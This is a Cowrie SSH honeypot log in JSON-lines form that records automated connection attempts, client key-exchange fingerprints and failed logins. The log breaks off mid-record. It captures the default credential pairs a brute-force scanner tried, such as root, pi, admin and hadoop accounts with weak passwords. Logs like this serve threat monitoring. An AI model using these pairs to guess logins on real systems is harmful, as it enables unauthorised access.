{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:31.959431Z","src_ip":"91.92.40.171","session":"6628aa37fece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46306,"dst_ip":"159.203.135.109","dst_port":22,"session":"1366cb33104f","protocol":"ssh","message":"New connection: 91.92.42.133:46306 (159.203.135.109:22) [session: 1366cb33104f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:32.034362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:32.274868Z","src_ip":"91.92.42.133","session":"1366cb33104f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:32.281372Z","src_ip":"91.92.42.133","session":"1366cb33104f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:32.321607Z","src_ip":"91.92.40.171","session":"a753bda5b82e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:33.181447Z","src_ip":"91.92.40.171","session":"6628aa37fece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:33.489506Z","src_ip":"91.92.42.133","session":"1366cb33104f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:34.298122Z","src_ip":"91.92.40.171","session":"a753bda5b82e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:34.321388Z","src_ip":"91.92.40.171","session":"6628aa37fece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:34.945393Z","src_ip":"91.92.42.133","session":"1366cb33104f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":32954,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee72451319f3","protocol":"ssh","message":"New connection: 91.92.42.133:32954 (159.203.135.109:22) [session: ee72451319f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:39.010967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:39.432535Z","src_ip":"91.92.42.133","session":"ee72451319f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:39.434630Z","src_ip":"91.92.42.133","session":"ee72451319f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39788,"dst_ip":"159.203.135.109","dst_port":22,"session":"0abc41de81ae","protocol":"ssh","message":"New connection: 91.92.40.171:39788 (159.203.135.109:22) [session: 0abc41de81ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:39.902325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:39.919007Z","src_ip":"91.92.40.171","session":"0abc41de81ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:41.029094Z","src_ip":"91.92.40.171","session":"0abc41de81ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:41.258771Z","src_ip":"91.92.42.133","session":"ee72451319f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:42.820950Z","src_ip":"91.92.42.133","session":"ee72451319f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39816,"dst_ip":"159.203.135.109","dst_port":22,"session":"207f65526a2e","protocol":"ssh","message":"New connection: 91.92.40.171:39816 (159.203.135.109:22) [session: 207f65526a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:43.653628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:43.915650Z","src_ip":"91.92.40.171","session":"207f65526a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:43.918790Z","src_ip":"91.92.40.171","session":"207f65526a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:44.598692Z","src_ip":"91.92.40.171","session":"207f65526a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:45.181814Z","src_ip":"91.92.40.171","session":"0abc41de81ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40690,"dst_ip":"159.203.135.109","dst_port":22,"session":"4823de710b42","protocol":"ssh","message":"New connection: 91.92.42.133:40690 (159.203.135.109:22) [session: 4823de710b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:45.571261Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:45.752021Z","src_ip":"91.92.40.171","session":"207f65526a2e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:46.313685Z","src_ip":"91.92.42.133","session":"4823de710b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:46.316872Z","src_ip":"91.92.42.133","session":"4823de710b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:46.718503Z","src_ip":"91.92.40.171","session":"0abc41de81ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:48.416600Z","src_ip":"91.92.42.133","session":"4823de710b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:49.783586Z","src_ip":"91.92.42.133","session":"4823de710b42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":40778,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0acf8540dbe","protocol":"ssh","message":"New connection: 91.92.40.171:40778 (159.203.135.109:22) [session: d0acf8540dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:50.336797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:50.340770Z","src_ip":"91.92.40.171","session":"d0acf8540dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:50.727523Z","src_ip":"91.92.40.171","session":"d0acf8540dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:52.705623Z","src_ip":"91.92.40.171","session":"d0acf8540dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40736,"dst_ip":"159.203.135.109","dst_port":22,"session":"83c767b90e1e","protocol":"ssh","message":"New connection: 91.92.42.133:40736 (159.203.135.109:22) [session: 83c767b90e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:52.963235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:53.472968Z","src_ip":"91.92.42.133","session":"83c767b90e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:53.486897Z","src_ip":"91.92.42.133","session":"83c767b90e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:54.643697Z","src_ip":"91.92.40.171","session":"d0acf8540dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1234","message":"login attempt [admin123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:56.338853Z","src_ip":"91.92.42.133","session":"83c767b90e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46932,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d057b51273d","protocol":"ssh","message":"New connection: 91.92.40.171:46932 (159.203.135.109:22) [session: 6d057b51273d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:56.799499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:37:56.809137Z","src_ip":"91.92.40.171","session":"6d057b51273d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-e